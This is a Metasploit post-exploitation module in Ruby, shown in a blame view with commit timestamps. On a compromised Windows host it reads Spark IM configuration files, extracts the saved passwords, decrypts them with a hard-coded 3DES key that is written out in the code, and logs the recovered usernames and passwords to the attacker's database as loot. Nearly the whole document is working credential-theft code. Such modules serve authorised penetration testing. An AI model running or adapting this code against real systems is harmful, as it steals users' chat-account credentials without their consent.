2012-12-26 23:28:23 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/windows/user_profiles'
|
|
|
|
require 'openssl'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Enumerate Spark IM Passwords',
|
|
|
|
'Description' => %q{ This module will enumerate passwords stored by the Spark IM client.
|
|
|
|
The encryption key is publicly known. This module will not only extract encrypted password
|
|
|
|
but will also decrypt password using public key.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>',
|
|
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
|
|
|
|
],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
|
|
|
|
]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
# decrypt spark password
|
|
|
|
def decrypt(hash)
|
|
|
|
# code to decrypt hash with KEY
|
|
|
|
encrypted = hash.unpack("m")[0]
|
|
|
|
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
|
|
|
|
|
|
|
|
cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
|
|
|
|
cipher.decrypt
|
|
|
|
cipher.key = key
|
|
|
|
|
|
|
|
password = cipher.update encrypted
|
|
|
|
password << cipher.final
|
|
|
|
|
2012-12-27 01:49:25 +00:00
|
|
|
password = ::Rex::Text.to_utf8(password)
|
2012-12-26 23:28:23 +00:00
|
|
|
|
2012-12-27 03:06:48 +00:00
|
|
|
user, pass = password.scan(/[[:print:]]+/)
|
2012-12-27 03:10:52 +00:00
|
|
|
return if pass.nil? or pass.empty?
|
2012-12-27 03:06:48 +00:00
|
|
|
print_good("Decrypted Username #{user} Password: #{pass}")
|
2012-12-26 23:28:23 +00:00
|
|
|
|
2012-12-27 03:06:48 +00:00
|
|
|
store_creds(user, pass)
|
2012-12-26 23:28:23 +00:00
|
|
|
end
|
|
|
|
|
2012-12-27 03:06:48 +00:00
|
|
|
def store_creds(user, pass)
|
2012-12-26 23:28:23 +00:00
|
|
|
if db
|
|
|
|
report_auth_info(
|
|
|
|
:host => client.sock.peerhost,
|
2012-12-27 00:33:10 +00:00
|
|
|
:port => 5222,
|
2012-12-26 23:28:23 +00:00
|
|
|
:ptype => 'password',
|
2012-12-27 00:33:10 +00:00
|
|
|
:sname => 'spark',
|
2012-12-27 03:06:48 +00:00
|
|
|
:user => user,
|
|
|
|
:pass => pass,
|
2012-12-26 23:28:23 +00:00
|
|
|
:duplicate_ok => true,
|
|
|
|
:active => true
|
|
|
|
)
|
|
|
|
print_status("Loot stored in the db")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# main control method
|
|
|
|
def run
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
unless user['AppData'].nil?
|
|
|
|
accounts = user['AppData'] + "\\Spark\\spark.properties"
|
|
|
|
|
|
|
|
# open the file for reading
|
|
|
|
config = client.fs.file.new(accounts, 'r') rescue nil
|
|
|
|
next if config.nil?
|
|
|
|
print_status("Config found for user #{user['UserName']}")
|
|
|
|
|
|
|
|
# read the contents of file
|
|
|
|
contents = config.read
|
|
|
|
|
|
|
|
# look for lines containing string 'password'
|
2012-12-27 01:54:35 +00:00
|
|
|
password = contents.split("\n").grep(/password/)
|
2012-12-26 23:28:23 +00:00
|
|
|
if password.nil?
|
|
|
|
# file doesn't contain a password
|
|
|
|
print_status("#{file} does not contain any saved passwords")
|
|
|
|
# close file and return
|
|
|
|
config.close
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# store the hash close the file
|
2012-12-27 01:49:25 +00:00
|
|
|
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
|
2012-12-27 02:32:41 +00:00
|
|
|
password.each do | pass |
|
|
|
|
if pass.nil?
|
|
|
|
next
|
|
|
|
end
|
2012-12-26 23:28:23 +00:00
|
|
|
|
2012-12-27 02:32:41 +00:00
|
|
|
hash = pass.split("password").join.chomp
|
|
|
|
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
|
|
|
|
|
|
|
|
# call method to decrypt hash
|
|
|
|
decrypt(hash)
|
|
|
|
end
|
2012-12-27 02:40:11 +00:00
|
|
|
config.close
|
2012-12-26 23:28:23 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|